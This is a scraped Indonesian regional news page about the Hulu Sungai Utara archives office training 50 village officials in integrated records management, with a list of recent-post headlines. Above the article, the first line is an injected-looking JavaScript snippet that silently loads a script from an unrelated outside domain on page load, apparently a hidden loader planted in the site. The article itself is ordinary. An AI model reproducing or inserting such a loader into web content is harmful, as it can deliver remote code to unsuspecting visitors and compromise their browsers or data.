(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Dispersip HSU Bekali 50 Aparatur Desa Kelola Kearsipan Terintegrasi


KANALKALIMANTAN.COM, AMUNTAI – Sebanyak 50 aparatur Pemerintahan Desa se Kabupaten Hulu Sungai Utara (HSU) diberikan pembekalan terkait Pengelolaan Kearsiapan Desa Terintegritas oleh Dinas Perpustakaan dan Kearsipan (Dispersip) HSU, di Aula Dispersip, Rabu (26/10/2022).

Pelaksana Tugas (Plt) Dispersip HSU, H. Karyanadi menuturkan, sosialisasi ini bertujuan memberikan pemahaman, pengetahuan tentang pengelolaan ke arsipan khususnya kepala desa yang baru saja terpilih sehingga sistem administrasi desa tersusun dengan rapi.

“Tema kita kali ini mari kita ciptakan aparatur pemerintahan desa yang disiplin, berinovasi dan akuntabel, melalui pengelolaan kearsiapan desa yang terintegrasi,” jelas Karyanadi.

Seiring dengan itu, mewakili Pelaksana Harian Bupati HSU, H. Amberani, selaku Asisten Bidang Pemerintahan dan Kesra menyambut baik atas terlaksananya kegiatan ini.

 

Baca juga  : SMP Negeri 4 Amuntai Dukung Gerakan Nasional Aksi Bergizi bagi Siswa

Dikatakannya, bahwa arsip merupakan salah satu sub sistem dari administrasi, oleh karena itu kelancaran dan ketertiban di bidang kearsipan turut mempengaruhi ketertiban dalam pelaksanaan administrasi kantor secara keseluruhan.

“Keberadaan arsip sebenarnya merupakan bukti berfungsinya kegiatan pemerintahan, pembangunan dan pembinaan kemasyarakatan serta sekaligus merupakan endapan informasi berbagai kegiatan dan kebijakan  yang telah dilaksanakan oleh instansi bersangkutan sehingga harus dikelola secara khusus dengan petugas yang terlatih juga,” imbuhnya.

Melalui kegiatan ini, ia berharap aparatur pemerintahan desa dapat meningkatkan pengetahuan dan kapasitasnya, sehingga lebih serius memperhatikan penyelenggaraan kearsipan, baik terhadap arsip dinamis, arsip statis dan arsip vital dan dapat menganggarkan anggaran untuk pengelolaan kearsipan.

“Kita optimis apabila kita mampu menyelenggarakan kearsipan dengan baik berdasarkan peranturan perundang-undangan, pedoman, standard dan norma di bidang kearsipan, sebagaimana yang diamanatkan dalam undang-undang nomor 43 tahun 2009 tentang kearsipan,” tutupnya. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : cell


Desy Arfianty

Recent Posts

Bawa Sabu 49 Gram, Dua Lelaki Ditangkap di Pemurus Luar

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More

6 jam ago

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

13 jam ago

Dr Gustava Yandi Dilantik Menjadi Pj Sekda Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More

13 jam ago

Deretan Film Terbaik, Spesial Menemani Akhir Tahunmu Bersama RCTI!

KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More

15 jam ago

Wujudkan Mimpi dalam Satu Malam, Saksikan Dangdut Mania Dadakan (DMD) Panggung Rezeki di MNCTV

KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More

15 jam ago

Rumah Tinggal Arang, 13 Karung Padi Nenek Asniah Ikut Ludes

KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More

15 jam ago

This website uses cookies.